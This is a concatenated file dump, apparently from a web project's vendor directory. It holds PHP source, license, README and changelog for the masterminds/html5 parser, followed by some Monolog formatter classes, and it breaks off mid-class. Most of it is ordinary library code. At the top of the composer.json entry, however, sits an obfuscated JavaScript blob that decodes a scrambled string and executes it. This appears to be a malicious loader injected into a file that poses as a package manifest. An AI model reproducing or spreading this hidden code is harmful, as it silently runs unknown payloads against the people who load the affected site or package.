$name The name of the element. * * @return bool true if a html5 element and false otherwise. */ public static function isHtml5Element($name) { // html5 element names are case insensitive. Forcing lowercase for the check. // Do we need this check or will all data passed here already be lowercase? return isset(static::$html5[strtolower($name)]); } /** * Test if an element name is a valid MathML presentation element. * * @param string $name The name of the element. * * @return bool true if a MathML name and false otherwise. */ public static function isMathMLElement($name) { // MathML is case-sensitive unlike html5 elements. return isset(static::$mathml[$name]); } /** * Test if an element is a valid SVG element. * * @param string $name The name of the element. * * @return bool true if a SVG element and false otherise. */ public static function isSvgElement($name) { // SVG is case-sensitive unlike html5 elements. return isset(static::$svg[$name]); } /** * Is an element name valid in an html5 document. * This includes html5 elements along with other allowed embedded content * such as svg and mathml. * * @param string $name The name of the element. * * @return bool true if valid and false otherwise. */ public static function isElement($name) { return static::isHtml5Element($name) || static::isMathMLElement($name) || static::isSvgElement($name); } /** * Get the element mask for the given element name. * * @param string $name The name of the element. * * @return int the element mask. */ public static function element($name) { if (isset(static::$html5[$name])) { return static::$html5[$name]; } if (isset(static::$svg[$name])) { return static::$svg[$name]; } if (isset(static::$mathml[$name])) { return static::$mathml[$name]; } return 0; } /** * Normalize a SVG element name to its proper case and form. * * @param string $name The name of the element. * * @return string the normalized form of the element name. */ public static function normalizeSvgElement($name) { $name = strtolower($name); if (isset(static::$svgCaseSensitiveElementMap[$name])) { $name = static::$svgCaseSensitiveElementMap[$name]; } return $name; } /** * Normalize a SVG attribute name to its proper case and form. * * @param string $name The name of the attribute. * * @return string The normalized form of the attribute name. */ public static function normalizeSvgAttribute($name) { $name = strtolower($name); if (isset(static::$svgCaseSensitiveAttributeMap[$name])) { $name = static::$svgCaseSensitiveAttributeMap[$name]; } return $name; } /** * Normalize a MathML attribute name to its proper case and form. * Note, all MathML element names are lowercase. * * @param string $name The name of the attribute. * * @return string The normalized form of the attribute name. */ public static function normalizeMathMlAttribute($name) { $name = strtolower($name); // Only one attribute has a mixed case form for MathML. if ('definitionurl' === $name) { $name = 'definitionURL'; } return $name; } } res/readability/vendor/masterminds/html5/src/HTML5.php000064400000020542147577714370016664 0ustar00 false, // Prevents the parser from automatically assigning the HTML5 namespace to the DOM document. 'disable_html_ns' => false, ); protected $errors = array(); public function __construct(array $defaultOptions = array()) { $this->defaultOptions = array_merge($this->defaultOptions, $defaultOptions); } /** * Get the current default options. * * @return array */ public function getOptions() { return $this->defaultOptions; } /** * Load and parse an HTML file. * * This will apply the HTML5 parser, which is tolerant of many * varieties of HTML, including XHTML 1, HTML 4, and well-formed HTML * 3. Note that in these cases, not all of the old data will be * preserved. For example, XHTML's XML declaration will be removed. * * The rules governing parsing are set out in the HTML 5 spec. * * @param string|resource $file The path to the file to parse. If this is a resource, it is * assumed to be an open stream whose pointer is set to the first * byte of input. * @param array $options Configuration options when parsing the HTML. * * @return \DOMDocument A DOM document. These object type is defined by the libxml * library, and should have been included with your version of PHP. */ public function load($file, array $options = array()) { // Handle the case where file is a resource. if (is_resource($file)) { return $this->parse(stream_get_contents($file), $options); } return $this->parse(file_get_contents($file), $options); } /** * Parse a HTML Document from a string. * * Take a string of HTML 5 (or earlier) and parse it into a * DOMDocument. * * @param string $string A html5 document as a string. * @param array $options Configuration options when parsing the HTML. * * @return \DOMDocument A DOM document. DOM is part of libxml, which is included with * almost all distribtions of PHP. */ public function loadHTML($string, array $options = array()) { return $this->parse($string, $options); } /** * Convenience function to load an HTML file. * * This is here to provide backwards compatibility with the * PHP DOM implementation. It simply calls load(). * * @param string $file The path to the file to parse. If this is a resource, it is * assumed to be an open stream whose pointer is set to the first * byte of input. * @param array $options Configuration options when parsing the HTML. * * @return \DOMDocument A DOM document. These object type is defined by the libxml * library, and should have been included with your version of PHP. */ public function loadHTMLFile($file, array $options = array()) { return $this->load($file, $options); } /** * Parse a HTML fragment from a string. * * @param string $string the HTML5 fragment as a string * @param array $options Configuration options when parsing the HTML * * @return \DOMDocumentFragment A DOM fragment. The DOM is part of libxml, which is included with * almost all distributions of PHP. */ public function loadHTMLFragment($string, array $options = array()) { return $this->parseFragment($string, $options); } /** * Return all errors encountered into parsing phase. * * @return array */ public function getErrors() { return $this->errors; } /** * Return true it some errors were encountered into parsing phase. * * @return bool */ public function hasErrors() { return count($this->errors) > 0; } /** * Parse an input string. * * @param string $input * @param array $options * * @return \DOMDocument */ public function parse($input, array $options = array()) { $this->errors = array(); $options = array_merge($this->defaultOptions, $options); $events = new DOMTreeBuilder(false, $options); $scanner = new Scanner($input, !empty($options['encoding']) ? $options['encoding'] : 'UTF-8'); $parser = new Tokenizer($scanner, $events, !empty($options['xmlNamespaces']) ? Tokenizer::CONFORMANT_XML : Tokenizer::CONFORMANT_HTML); $parser->parse(); $this->errors = $events->getErrors(); return $events->document(); } /** * Parse an input stream where the stream is a fragment. * * Lower-level loading function. This requires an input stream instead * of a string, file, or resource. * * @param string $input The input data to parse in the form of a string. * @param array $options An array of options. * * @return \DOMDocumentFragment */ public function parseFragment($input, array $options = array()) { $options = array_merge($this->defaultOptions, $options); $events = new DOMTreeBuilder(true, $options); $scanner = new Scanner($input, !empty($options['encoding']) ? $options['encoding'] : 'UTF-8'); $parser = new Tokenizer($scanner, $events, !empty($options['xmlNamespaces']) ? Tokenizer::CONFORMANT_XML : Tokenizer::CONFORMANT_HTML); $parser->parse(); $this->errors = $events->getErrors(); return $events->fragment(); } /** * Save a DOM into a given file as HTML5. * * @param mixed $dom The DOM to be serialized. * @param string|resource $file The filename to be written or resource to write to. * @param array $options Configuration options when serializing the DOM. These include: * - encode_entities: Text written to the output is escaped by default and not all * entities are encoded. If this is set to true all entities will be encoded. * Defaults to false. */ public function save($dom, $file, $options = array()) { $close = true; if (is_resource($file)) { $stream = $file; $close = false; } else { $stream = fopen($file, 'wb'); } $options = array_merge($this->defaultOptions, $options); $rules = new OutputRules($stream, $options); $trav = new Traverser($dom, $stream, $rules, $options); $trav->walk(); /* * release the traverser to avoid cyclic references and allow PHP to free memory without waiting for gc_collect_cycles */ $rules->unsetTraverser(); if ($close) { fclose($stream); } } /** * Convert a DOM into an HTML5 string. * * @param mixed $dom The DOM to be serialized. * @param array $options Configuration options when serializing the DOM. These include: * - encode_entities: Text written to the output is escaped by default and not all * entities are encoded. If this is set to true all entities will be encoded. * Defaults to false. * * @return string A HTML5 documented generated from the DOM. */ public function saveHTML($dom, $options = array()) { $stream = fopen('php://temp', 'wb'); $this->save($dom, $stream, array_merge($this->defaultOptions, $options)); $html = stream_get_contents($stream, -1, 0); fclose($stream); return $html; } } res/readability/vendor/masterminds/html5/LICENSE.txt000064400000005635147577714370016364 0ustar00## HTML5-PHP License Copyright (c) 2013 The Authors of HTML5-PHP Matt Butcher - mattbutcher@google.com Matt Farina - matt@mattfarina.com Asmir Mustafic - goetas@gmail.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ## HTML5Lib License Portions of this are based on html5lib's PHP version, which was a sub-project of html5lib. The following is the list of contributors from html5lib: html5lib: Copyright (c) 2006-2009 The Authors Contributors: James Graham - jg307@cam.ac.uk Anne van Kesteren - annevankesteren@gmail.com Lachlan Hunt - lachlan.hunt@lachy.id.au Matt McDonald - kanashii@kanashii.ca Sam Ruby - rubys@intertwingly.net Ian Hickson (Google) - ian@hixie.ch Thomas Broyer - t.broyer@ltgt.net Jacques Distler - distler@golem.ph.utexas.edu Henri Sivonen - hsivonen@iki.fi Adam Barth - abarth@webkit.org Eric Seidel - eric@webkit.org The Mozilla Foundation (contributions from Henri Sivonen since 2008) David Flanagan (Mozilla) - dflanagan@mozilla.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/masterminds/html5/CREDITS000064400000001257147577714370015555 0ustar00Matt Butcher [technosophos] (lead) Matt Farina [mattfarina] (lead) Asmir Mustafic [goetas] (contributor) Edward Z. Yang [ezyang] (contributor) Geoffrey Sneddon [gsnedders] (contributor) Kukhar Vasily [ngreduce] (contributor) Rune Christensen [MrElectronic] (contributor) MiÅ¡o Belica [miso-belica] (contributor) Asmir Mustafic [goetas] (contributor) KITAITI Makoto [KitaitiMakoto] (contributor) Jacob Floyd [cognifloyd] (contributor) res/readability/vendor/masterminds/html5/README.md000064400000021221147577714370016005 0ustar00# HTML5-PHP HTML5 is a standards-compliant HTML5 parser and writer written entirely in PHP. It is stable and used in many production websites, and has well over [five million downloads](https://packagist.org/packages/masterminds/html5). HTML5 provides the following features. - An HTML5 serializer - Support for PHP namespaces - Composer support - Event-based (SAX-like) parser - A DOM tree builder - Interoperability with [QueryPath](https://github.com/technosophos/querypath) - Runs on **PHP** 5.3.0 or newer [![Build Status](https://travis-ci.org/Masterminds/html5-php.png?branch=master)](https://travis-ci.org/Masterminds/html5-php) [![Latest Stable Version](https://poser.pugx.org/masterminds/html5/v/stable.png)](https://packagist.org/packages/masterminds/html5) [![Code Coverage](https://scrutinizer-ci.com/g/Masterminds/html5-php/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/Masterminds/html5-php/?branch=master) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/Masterminds/html5-php/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/Masterminds/html5-php/?branch=master) [![Stability: Sustained](https://masterminds.github.io/stability/sustained.svg)](https://masterminds.github.io/stability/sustained.html) ## Installation Install HTML5-PHP using [composer](http://getcomposer.org/). By adding the `masterminds/html5` dependency to your `composer.json` file: ```json { "require" : { "masterminds/html5": "^2.0" }, } ``` By invoking require command via composer executable: ```bash composer require masterminds/html5 ``` ## Basic Usage HTML5-PHP has a high-level API and a low-level API. Here is how you use the high-level `HTML5` library API: ```php TEST

                    Hello World

                    This is a test of the HTML5 parser.

                    HERE; // Parse the document. $dom is a DOMDocument. $html5 = new HTML5(); $dom = $html5->loadHTML($html); // Render it as HTML5: print $html5->saveHTML($dom); // Or save it to a file: $html5->save($dom, 'out.html'); ``` The `$dom` created by the parser is a full `DOMDocument` object. And the `save()` and `saveHTML()` methods will take any DOMDocument. ### Options It is possible to pass in an array of configuration options when loading an HTML5 document. ```php // An associative array of options $options = array( 'option_name' => 'option_value', ); // Provide the options to the constructor $html5 = new HTML5($options); $dom = $html5->loadHTML($html); ``` The following options are supported: * `encode_entities` (boolean): Indicates that the serializer should aggressively encode characters as entities. Without this, it only encodes the bare minimum. * `disable_html_ns` (boolean): Prevents the parser from automatically assigning the HTML5 namespace to the DOM document. This is for non-namespace aware DOM tools. * `target_document` (\DOMDocument): A DOM document that will be used as the destination for the parsed nodes. * `implicit_namespaces` (array): An assoc array of namespaces that should be used by the parser. Name is tag prefix, value is NS URI. ## The Low-Level API This library provides the following low-level APIs that you can use to create more customized HTML5 tools: - A SAX-like event-based parser that you can hook into for special kinds of parsing. - A flexible error-reporting mechanism that can be tuned to document syntax checking. - A DOM implementation that uses PHP's built-in DOM library. The unit tests exercise each piece of the API, and every public function is well-documented. ### Parser Design The parser is designed as follows: - The `Scanner` handles scanning on behalf of the parser. - The `Tokenizer` requests data off of the scanner, parses it, clasifies it, and sends it to an `EventHandler`. It is a *recursive descent parser.* - The `EventHandler` receives notifications and data for each specific semantic event that occurs during tokenization. - The `DOMBuilder` is an `EventHandler` that listens for tokenizing events and builds a document tree (`DOMDocument`) based on the events. ### Serializer Design The serializer takes a data structure (the `DOMDocument`) and transforms it into a character representation -- an HTML5 document. The serializer is broken into three parts: - The `OutputRules` contain the rules to turn DOM elements into strings. The rules are an implementation of the interface `RulesInterface` allowing for different rule sets to be used. - The `Traverser`, which is a special-purpose tree walker. It visits each node node in the tree and uses the `OutputRules` to transform the node into a string. - `HTML5` manages the `Traverser` and stores the resultant data in the correct place. The serializer (`save()`, `saveHTML()`) follows the [section 8.9 of the HTML 5.0 spec](http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#serializing-html-fragments). So tags are serialized according to these rules: - A tag with children: <foo>CHILDREN</foo> - A tag that cannot have content: <foo> (no closing tag) - A tag that could have content, but doesn't: <foo></foo> ## Known Issues (Or, Things We Designed Against the Spec) Please check the issue queue for a full list, but the following are issues known issues that are not presently on the roadmap: - Namespaces: HTML5 only [supports a selected list of namespaces](http://www.w3.org/TR/html5/infrastructure.html#namespaces) and they do not operate in the same way as XML namespaces. A `:` has no special meaning. By default the parser does not support XML style namespaces via `:`; to enable the XML namespaces see the [XML Namespaces section](#xml-namespaces) - Scripts: This parser does not contain a JavaScript or a CSS interpreter. While one may be supplied, not all features will be supported. - Rentrance: The current parser is not re-entrant. (Thus you can't pause the parser to modify the HTML string mid-parse.) - Validation: The current tree builder is **not** a validating parser. While it will correct some HTML, it does not check that the HTML conforms to the standard. (Should you wish, you can build a validating parser by extending DOMTree or building your own EventHandler implementation.) * There is limited support for insertion modes. * Some autocorrection is done automatically. * Per the spec, many legacy tags are admitted and correctly handled, even though they are technically not part of HTML5. - Attribute names and values: Due to the implementation details of the PHP implementation of DOM, attribute names that do not follow the XML 1.0 standard are not inserted into the DOM. (Effectively, they are ignored.) If you've got a clever fix for this, jump in! - Processor Instructions: The HTML5 spec does not allow processor instructions. We do. Since this is a server-side library, we think this is useful. And that means, dear reader, that in some cases you can parse the HTML from a mixed PHP/HTML document. This, however, is an incidental feature, not a core feature. - HTML manifests: Unsupported. - PLAINTEXT: Unsupported. - Adoption Agency Algorithm: Not yet implemented. (8.2.5.4.7) ## XML Namespaces To use XML style namespaces you have to configure well the main `HTML5` instance. ```php use Masterminds\HTML5; $html = new HTML5(array( "xmlNamespaces" => true )); $dom = $html->loadHTML(''); $dom->documentElement->namespaceURI; // http://www.example.com ``` You can also add some default prefixes that will not require the namespace declaration, but its elements will be namespaced. ```php use Masterminds\HTML5; $html = new HTML5(array( "implicitNamespaces"=>array( "t"=>"http://www.example.com" ) )); $dom = $html->loadHTML(''); $dom->documentElement->namespaceURI; // http://www.example.com ``` ## Thanks to... The dedicated (and patient) contributors of patches small and large, who have already made this library better.See the CREDITS file for a list of contributors. We owe a huge debt of gratitude to the original authors of html5lib. While not much of the original parser remains, we learned a lot from reading the html5lib library. And some pieces remain here. In particular, much of the UTF-8 and Unicode handling is derived from the html5lib project. ## License This software is released under the MIT license. The original html5lib library was also released under the MIT license. See LICENSE.txt Certain files contain copyright assertions by specific individuals involved with html5lib. Those have been retained where appropriate. res/readability/vendor/masterminds/html5/UPGRADING.md000064400000000760147577714370016375 0ustar00From 1.x to 2.x ================= - All classes uses `Masterminds` namespace. - All public static methods has been removed from `HTML5` class and the general API to access the HTML5 functionalities has changed. Before: $dom = \HTML5::loadHTML('....'); \HTML5::saveHTML($dom); After: use Masterminds\HTML5; $html5 = new HTML5(); $dom = $html5->loadHTML('....'); echo $html5->saveHTML($dom); res/readability/vendor/masterminds/html5/RELEASE.md000064400000011617147577714370016140 0ustar00# Release Notes 2.7.5 (2021-07-01) - #204: Travis: Enable tests on PHP 8.0 - #207: Fix PHP 8.1 deprecations 2.7.4 (2020-10-01) - #191: Fix travisci build - #195: Add .gitattributes file with export-ignore rules - #194: Fix query parameter parsed as character entity 2.7.3 (2020-07-05) - #190: mitigate cyclic reference between output rules and the traverser objects 2.7.2 (2020-07-01) - #187: Fixed memory leak in HTML5::saveHTML() - #186: Add special case for end tag
                    2.7.1 (2020-06-14) - #171: add PHP 7.4 job - #178: Prevent infinite loop on un-terminated entity declaration at EOF 2.7.0 (2019-07-25) - #164: Drop HHVM support - #168: Set default encoding in the DOMDocument object 2.6.0 (2019-03-10) - #163: Allow to pass a charset to the Scanner 2.5.0 (2018-12-27) - #162, #161, #155, #154, #153, #151: big performance improvements - #156: fixed typos - #160: adopt and enforce code style - #159: remove deprecated php unit base test case - #150: backport changes from old master branch 2.4.0 (2018-11-17) - #148: Improve performance by moving sequence matching - #147: Improve the Tokenizer performance - #146: Improve performance by relying on a native string instead of InputStream - #144: Add DOM extension in composer.json - #145: Add more extensions on composer.json, improve phpdocs and remove dead code - #143: Remove experimental comment 2.3.1 (2018-10-18) - #121: Audio is not a block tag (fixed by #141) - #136: Handle illegal self-closing according to spec (fixed by #137) - #141: Minor fixes in the README 2.3.0 (2017-09-04) - #129: image within inline svg breaks system (fixed by #133) - #131: ² does not work (fixed by #132) - #134: Improve tokenizer performance by 20% (alternative version of #130 thanks to @MichaelHeerklotz) - #135: Raw & in attributes 2.2.2 (2016-09-22) - #116: In XML mode, tags are case sensitive - #115: Fix PHP Notice in OutputRules - #112: fix parsing of options of an optgroup - #111: Adding test for the address tag 2.2.1 (2016-05-10) - #109: Fixed issue where address tag could be written without closing tag (thanks sylus) 2.2.0 (2016-04-11) - #105: Enable composer cache (for CI/CD) - #100: Use mb_substitute_character inset of ini_set for environments where ini_set is disable (e.g., shared hosting) - #98: Allow link, meta, style tags in noscript tags - #96: Fixed xml:href on svgs that use the "use" breaking - #94: Counting UTF8 characters performance improvement - #93: Use newer version of coveralls package - #90: Remove duplicate test - #87: Allow multiple root nodes 2.1.2 (2015-06-07) - #82: Support for PHP7 - #84: Improved boolean attribute handling 2.1.1 (2015-03-23) - #78: Fixes bug where unmatched entity like string drops everything after &. 2.1.0 (2015-02-01) - #74: Added `disable_html_ns` and `target_doc` dom parsing options - Unified option names - #73: Fixed alphabet, ß now can be detected - #75 and #76: Allow whitespace in RCDATA tags - #77: Fixed parsing blunder for json embeds - #72: Add options to HTML methods 2.0.2 (2014-12-17) - #50: empty document handling - #63: tags with strange capitalization - #65: dashes and underscores as allowed characters in tag names - #68: Fixed issue with non-inline elements inside inline containers 2.0.1 (2014-09-23) - #59: Fixed issue parsing some fragments. - #56: Incorrectly saw 0 as empty string - Sami as new documentation generator 2.0.0 (2014-07-28) - #53: Improved boolean attributes handling - #52: Facebook HHVM compatibility - #48: Adopted PSR-2 as coding standard - #47: Moved everything to Masterminds namespace - #45: Added custom namespaces - #44: Added support to XML-style namespaces - #37: Refactored HTML5 class removing static methods 1.0.5 (2014-06-10) - #38: Set the dev-master branch as the 1.0.x branch for composer (goetas) - #34: Tests use PSR-4 for autoloading. (goetas) - #40, #41: Fix entity handling in RCDATA sections. (KitaitiMakoto) - #32: Fixed issue where wharacter references were being incorrectly encoded in style tags. 1.0.4 (2014-04-29) - #30/#31 Don't throw an exception for invalid tag names. 1.0.3 (2014-02-28) - #23 and #29: Ignore attributes with illegal chars in name for the PHP DOM. 1.0.2 (2014-02-12) - #23: Handle missing tag close in attribute list. - #25: Fixed text escaping in the serializer (HTML% 8.3). - #27: Fixed tests on Windows: changed "\n" -> PHP_EOL. - #28: Fixed infinite loop for char "&" in unquoted attribute in parser. - #26: Updated tag name case handling to deal with uppercase usage. - #24: Newlines and tabs are allowed inside quoted attributes (HTML5 8.2.4). - Fixed Travis CI testing. 1.0.1 (2013-11-07) - CDATA encoding is improved. (Non-standard; Issue #19) - Some parser rules were not returning the new current element. (Issue #20) - Added, to the README, details on code test coverage and to packagist version. - Fixed processor instructions. - Improved test coverage and documentation coverage. 1.0.0 (2013-10-02) - Initial release. res/readability/vendor/masterminds/html5/composer.json000064400000007753147577714370017266 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "masterminds/html5", "description": "An HTML5 parser and serializer.", "type": "library", "homepage": "http://masterminds.github.io/html5-php", "license": "MIT", "keywords": ["xml", "html", "html5", "dom", "parser", "serializer", "querypath"], "authors": [ { "name": "Matt Butcher", "email": "technosophos@gmail.com" }, { "name": "Matt Farina", "email": "matt@mattfarina.com" }, { "name": "Asmir Mustafic", "email": "goetas@gmail.com" } ], "require" : { "ext-ctype": "*", "ext-dom": "*", "ext-libxml" : "*", "php" : ">=5.3.0" }, "require-dev": { "phpunit/phpunit" : "^4.8.35 || ^5.7.21 || ^6 || ^7" }, "autoload": { "psr-4": {"Masterminds\\": "src"} }, "autoload-dev": { "psr-4": {"Masterminds\\HTML5\\Tests\\": "test/HTML5"} }, "extra": { "branch-alias": { "dev-master": "2.7-dev" } } } res/readability/vendor/monolog/monolog/src/Monolog/Attribute/AsMonologProcessor.php000064400000002771147577714370024757 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Attribute; /** * A reusable attribute to help configure a class or a method as a processor. * * Using it offers no guarantee: it needs to be leveraged by a Monolog third-party consumer. * * Using it with the Monolog library only has no effect at all: processors should still be turned into a callable if * needed and manually pushed to the loggers and to the processable handlers. */ #[\Attribute(\Attribute::TARGET_CLASS | \Attribute::TARGET_METHOD | \Attribute::IS_REPEATABLE)] class AsMonologProcessor { /** @var string|null */ public $channel = null; /** @var string|null */ public $handler = null; /** @var string|null */ public $method = null; /** * @param string|null $channel The logging channel the processor should be pushed to. * @param string|null $handler The handler the processor should be pushed to. * @param string|null $method The method that processes the records (if the attribute is used at the class level). */ public function __construct( ?string $channel = null, ?string $handler = null, ?string $method = null ) { $this->channel = $channel; $this->handler = $handler; $this->method = $method; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/ChromePHPFormatter.php000064400000004140147577714370024622 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; /** * Formats a log message according to the ChromePHP array format * * @author Christophe Coevoet */ class ChromePHPFormatter implements FormatterInterface { /** * Translates Monolog log levels to Wildfire levels. * * @var array */ private $logLevels = [ Logger::DEBUG => 'log', Logger::INFO => 'info', Logger::NOTICE => 'info', Logger::WARNING => 'warn', Logger::ERROR => 'error', Logger::CRITICAL => 'error', Logger::ALERT => 'error', Logger::EMERGENCY => 'error', ]; /** * {@inheritDoc} */ public function format(array $record) { // Retrieve the line and file if set and remove them from the formatted extra $backtrace = 'unknown'; if (isset($record['extra']['file'], $record['extra']['line'])) { $backtrace = $record['extra']['file'].' : '.$record['extra']['line']; unset($record['extra']['file'], $record['extra']['line']); } $message = ['message' => $record['message']]; if ($record['context']) { $message['context'] = $record['context']; } if ($record['extra']) { $message['extra'] = $record['extra']; } if (count($message) === 1) { $message = reset($message); } return [ $record['channel'], $message, $backtrace, $this->logLevels[$record['level']], ]; } /** * {@inheritDoc} */ public function formatBatch(array $records) { $formatted = []; foreach ($records as $record) { $formatted[] = $this->format($record); } return $formatted; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/ElasticaFormatter.php000064400000004030147577714370024560 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Elastica\Document; /** * Format a log message into an Elastica Document * * @author Jelle Vink * * @phpstan-import-type Record from \Monolog\Logger */ class ElasticaFormatter extends NormalizerFormatter { /** * @var string Elastic search index name */ protected $index; /** * @var ?string Elastic search document type */ protected $type; /** * @param string $index Elastic Search index name * @param ?string $type Elastic Search document type, deprecated as of Elastica 7 */ public function __construct(string $index, ?string $type) { // elasticsearch requires a ISO 8601 format date with optional millisecond precision. parent::__construct('Y-m-d\TH:i:s.uP'); $this->index = $index; $this->type = $type; } /** * {@inheritDoc} */ public function format(array $record) { $record = parent::format($record); return $this->getDocument($record); } public function getIndex(): string { return $this->index; } /** * @deprecated since Elastica 7 type has no effect */ public function getType(): string { /** @phpstan-ignore-next-line */ return $this->type; } /** * Convert a log message into an Elastica Document * * @phpstan-param Record $record */ protected function getDocument(array $record): Document { $document = new Document(); $document->setData($record); if (method_exists($document, 'setType')) { /** @phpstan-ignore-next-line */ $document->setType($this->type); } $document->setIndex($this->index); return $document; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/ElasticsearchFormatter.php000064400000003505147577714370025613 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use DateTimeInterface; /** * Format a log message into an Elasticsearch record * * @author Avtandil Kikabidze */ class ElasticsearchFormatter extends NormalizerFormatter { /** * @var string Elasticsearch index name */ protected $index; /** * @var string Elasticsearch record type */ protected $type; /** * @param string $index Elasticsearch index name * @param string $type Elasticsearch record type */ public function __construct(string $index, string $type) { // Elasticsearch requires an ISO 8601 format date with optional millisecond precision. parent::__construct(DateTimeInterface::ISO8601); $this->index = $index; $this->type = $type; } /** * {@inheritDoc} */ public function format(array $record) { $record = parent::format($record); return $this->getDocument($record); } /** * Getter index * * @return string */ public function getIndex(): string { return $this->index; } /** * Getter type * * @return string */ public function getType(): string { return $this->type; } /** * Convert a log message into an Elasticsearch record * * @param mixed[] $record Log message * @return mixed[] */ protected function getDocument(array $record): array { $record['_index'] = $this->index; $record['_type'] = $this->type; return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/MongoDBFormatter.php000064400000011554147577714370024331 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use MongoDB\BSON\Type; use MongoDB\BSON\UTCDateTime; use Monolog\Utils; /** * Formats a record for use with the MongoDBHandler. * * @author Florian Plattner */ class MongoDBFormatter implements FormatterInterface { /** @var bool */ private $exceptionTraceAsString; /** @var int */ private $maxNestingLevel; /** @var bool */ private $isLegacyMongoExt; /** * @param int $maxNestingLevel 0 means infinite nesting, the $record itself is level 1, $record['context'] is 2 * @param bool $exceptionTraceAsString set to false to log exception traces as a sub documents instead of strings */ public function __construct(int $maxNestingLevel = 3, bool $exceptionTraceAsString = true) { $this->maxNestingLevel = max($maxNestingLevel, 0); $this->exceptionTraceAsString = $exceptionTraceAsString; $this->isLegacyMongoExt = extension_loaded('mongodb') && version_compare((string) phpversion('mongodb'), '1.1.9', '<='); } /** * {@inheritDoc} * * @return mixed[] */ public function format(array $record): array { /** @var mixed[] $res */ $res = $this->formatArray($record); return $res; } /** * {@inheritDoc} * * @return array */ public function formatBatch(array $records): array { $formatted = []; foreach ($records as $key => $record) { $formatted[$key] = $this->format($record); } return $formatted; } /** * @param mixed[] $array * @return mixed[]|string Array except when max nesting level is reached then a string "[...]" */ protected function formatArray(array $array, int $nestingLevel = 0) { if ($this->maxNestingLevel > 0 && $nestingLevel > $this->maxNestingLevel) { return '[...]'; } foreach ($array as $name => $value) { if ($value instanceof \DateTimeInterface) { $array[$name] 